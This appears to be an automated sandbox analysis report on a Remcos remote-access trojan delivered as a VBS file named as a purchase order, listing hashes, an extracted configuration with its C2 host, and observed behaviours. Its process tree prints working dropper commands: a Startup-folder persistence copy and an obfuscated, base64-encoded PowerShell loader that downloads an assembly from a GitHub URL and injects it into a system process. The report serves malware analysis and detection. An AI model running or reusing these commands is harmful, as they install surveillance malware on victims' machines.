Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/10/2024, 07:15

General

  • Target

    Purchase Order - PO14895.vbs

  • Size

    486KB

  • MD5

    411a23153d97ad4c071a62d54e928d6b

  • SHA1

    f1fc194cf23bd614ed793037f6700c565e88b11b

  • SHA256

    cf85e5927fe85ba85cd070fcc7a6fdf206625e836a9194143f789d24ed1671ab

  • SHA512

    a245a3c469c760e11dc74a1f7ea0762da5dc2fc7e23d2688fc3270678c1f1b32964be276b1912a9d637557d4715d920ca8e0e79008264b355aa360025d235c59

  • SSDEEP

    12288:464azKbI45msgYvWtcg7qKsxNksRgTJct4AqHpE0pZvSmO9FuhFz3VGMIQbPxur5:FEaPqH1

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

remcos

Botnet

OCT

C2

ab9001.ddns.net:55543

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    vlc.exe

  • copy_folder

    vlc

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    true

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    chrorne-9OH0YR

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    Remcos

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Purchase Order - PO14895.vbs"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:4480
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Purchase Order - PO14895.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orierocretse.vbs')')
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:1592
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 10
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3600
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Purchase Order - PO14895.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orierocretse.vbs')')
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJEVuVjpDT01zUGVjWzQsMjYsMjVdLUpvSU4nJykoKCgnV1BzdScrJ3InKydsJysnID0gWScrJ1FEaHR0cHM6Ly8nKydyYScrJ3cuJysnZ2l0aHVidXNlJysncmNvbnRlbicrJ3QuY29tL04nKydvRGV0ZWN0TycrJ24nKycvJysnTm8nKydEZXRlJysnY3RPJysnbi8nKydyZWZzL2hlJysnYScrJ2RzL21haW4vRCcrJ2V0YWhObycrJ3RoLScrJ1YudHh0WVFEOycrJyBXUHNiJysnYXNlNjQnKydDb250ZW4nKyd0ID0gKE4nKydlJysndycrJy0nKydPJysnYicrJ2onKydlY3QgUycrJ3lzdGUnKydtLicrJ05ldC5XJysnZWJDbCcrJ2llJysnbicrJ3QpJysnLkRvd25sbycrJ2FkU3RyaW4nKydnJysnKFdQJysnc3VyJysnbCcrJyknKyc7JysnIFcnKydQcycrJ2JpJysnbmFyeUNvbnRlJysnbicrJ3QgPSAnKydbU3lzJysndGVtLicrJ0NvbicrJ3ZlcnRdOicrJzonKydGcicrJ28nKydtQmFzZTY0JysnU3RyaScrJ25nKFdQc2Jhc2UnKyc2NCcrJ0NvbicrJ3RlJysnbnQpJysnOycrJyBXUHNhc3NlbScrJ2InKydsJysneSA9IFtSJysnZWZsZWMnKyd0aW8nKyduJysnLkFzc2VtYmx5XTo6TG8nKydhZChXJysnUCcrJ3NiaW5hcnlDbycrJ250JysnZW50KTsgW2RubGknKydiLicrJ0lPLicrJ0hvbScrJ2UnKyddJysnOicrJzpWJysnQUknKycoJysnMDJWMC8nKydyZ1F2NS9kL2VlJysnLmV0Jysnc2FwJysnLy86c3B0JysndCcrJ2gwJysnMlYsIDAyVmRlJysnc2EnKyd0aScrJ3ZhJysnZG8wMlYsJysnIDAnKycyVmQnKydlc2F0JysnaXZhJysnZG8wMicrJ1YnKycsIDAyVmQnKydlc2F0aXYnKydhJysnZG8wMicrJ1YsICcrJzAnKycyVkEnKydkJysnZEluUCcrJ3JvYycrJ2VzczMyMDJWLCcrJyAwMlYnKycwMlYsMDInKydWMDJWKScpLUNyRXBMYUNFKFtDSGFSXTg3K1tDSGFSXTgwK1tDSGFSXTExNSksW0NIYVJdMzYgLUNyRXBMYUNFICAoW0NIYVJdODkrW0NIYVJdODErW0NIYVJdNjgpLFtDSGFSXTM5IC1yZXBMYUNlICAnMDJWJyxbQ0hhUl0zNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:764
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $EnV:COMsPec[4,26,25]-JoIN'')((('WPsu'+'r'+'l'+' = Y'+'QDhttps://'+'ra'+'w.'+'githubuse'+'rconten'+'t.com/N'+'oDetectO'+'n'+'/'+'No'+'Dete'+'ctO'+'n/'+'refs/he'+'a'+'ds/main/D'+'etahNo'+'th-'+'V.txtYQD;'+' WPsb'+'ase64'+'Conten'+'t = (N'+'e'+'w'+'-'+'O'+'b'+'j'+'ect S'+'yste'+'m.'+'Net.W'+'ebCl'+'ie'+'n'+'t)'+'.Downlo'+'adStrin'+'g'+'(WP'+'sur'+'l'+')'+';'+' W'+'Ps'+'bi'+'naryConte'+'n'+'t = '+'[Sys'+'tem.'+'Con'+'vert]:'+':'+'Fr'+'o'+'mBase64'+'Stri'+'ng(WPsbase'+'64'+'Con'+'te'+'nt)'+';'+' WPsassem'+'b'+'l'+'y = [R'+'eflec'+'tio'+'n'+'.Assembly]::Lo'+'ad(W'+'P'+'sbinaryCo'+'nt'+'ent); [dnli'+'b.'+'IO.'+'Hom'+'e'+']'+':'+':V'+'AI'+'('+'02V0/'+'rgQv5/d/ee'+'.et'+'sap'+'//:spt'+'t'+'h0'+'2V, 02Vde'+'sa'+'ti'+'va'+'do02V,'+' 0'+'2Vd'+'esat'+'iva'+'do02'+'V'+', 02Vd'+'esativ'+'a'+'do02'+'V, '+'0'+'2VA'+'d'+'dInP'+'roc'+'ess3202V,'+' 02V'+'02V,02'+'V02V)')-CrEpLaCE([CHaR]87+[CHaR]80+[CHaR]115),[CHaR]36 -CrEpLaCE ([CHaR]89+[CHaR]81+[CHaR]68),[CHaR]39 -repLaCe '02V',[CHaR]34))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4308
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:3144

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\remcos\logs.dat

    Filesize

    144B

    MD5

    a4fa03f8c23ce891935a4c2f3408e353

    SHA1

    d78ca4a16babc34b17313f32f1b1017c4318f12c

    SHA256

    7a65284271c7396c55eca65b481cf19a6865b5eea561b74312f81f5fdc6c981f

    SHA512

    c7e12fbbaf5325acda51cd42ca122f5dc2e84b6370dd15afe21066d681e80b8ea2a688ecd84f0aaf87f35b40434ebdaf8265bfc22453214fc2388a76eba02c02

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    6d3e9c29fe44e90aae6ed30ccf799ca8

    SHA1

    c7974ef72264bbdf13a2793ccf1aed11bc565dce

    SHA256

    2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

    SHA512

    60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    37cfbaa2b671d395875ca7eb166864a6

    SHA1

    d5a77193315d50b4e13c4b8680e2e8b90a3c2e19

    SHA256

    92de886e4e57c8d2976bd401e1a3591204dfe0c00a4b94eae669edf6316f42d9

    SHA512

    06a9b346ffcf46ee3a179c2d006a4e138c0d59e354652424d94a7858674cc45451700d0d116f84562eb74f3386d5a8dcfe498dbe3797d8a4b3cdf93c64ca0faf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nrazlx0p.nio.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1132-1-0x00007FFBED073000-0x00007FFBED075000-memory.dmp

    Filesize

    8KB

  • memory/1132-2-0x000002673F1F0000-0x000002673F212000-memory.dmp

    Filesize

    136KB

  • memory/1132-12-0x00007FFBED070000-0x00007FFBEDB31000-memory.dmp

    Filesize

    10.8MB

  • memory/1132-13-0x00007FFBED070000-0x00007FFBEDB31000-memory.dmp

    Filesize

    10.8MB

  • memory/1132-16-0x00007FFBED070000-0x00007FFBEDB31000-memory.dmp

    Filesize

    10.8MB

  • memory/1132-17-0x00007FFBED070000-0x00007FFBEDB31000-memory.dmp

    Filesize

    10.8MB

  • memory/3144-79-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-87-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-47-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-48-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-49-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-50-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-52-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-53-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-56-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-57-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-59-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-60-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-61-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-62-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-43-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-64-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-65-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-67-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-68-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-69-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-70-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-74-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-75-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-76-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-78-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-39-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-80-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-82-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-83-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-84-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-86-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-44-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-88-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-90-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-91-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-92-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-94-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-95-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-96-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-98-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-99-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-100-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-102-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-104-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-106-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-107-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-108-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-110-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-111-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-112-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-114-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-115-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-116-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-118-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-119-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-120-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-122-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-123-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-124-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-126-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-127-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/3144-128-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4308-38-0x000002566EA50000-0x000002566EC70000-memory.dmp

    Filesize

    2.1MB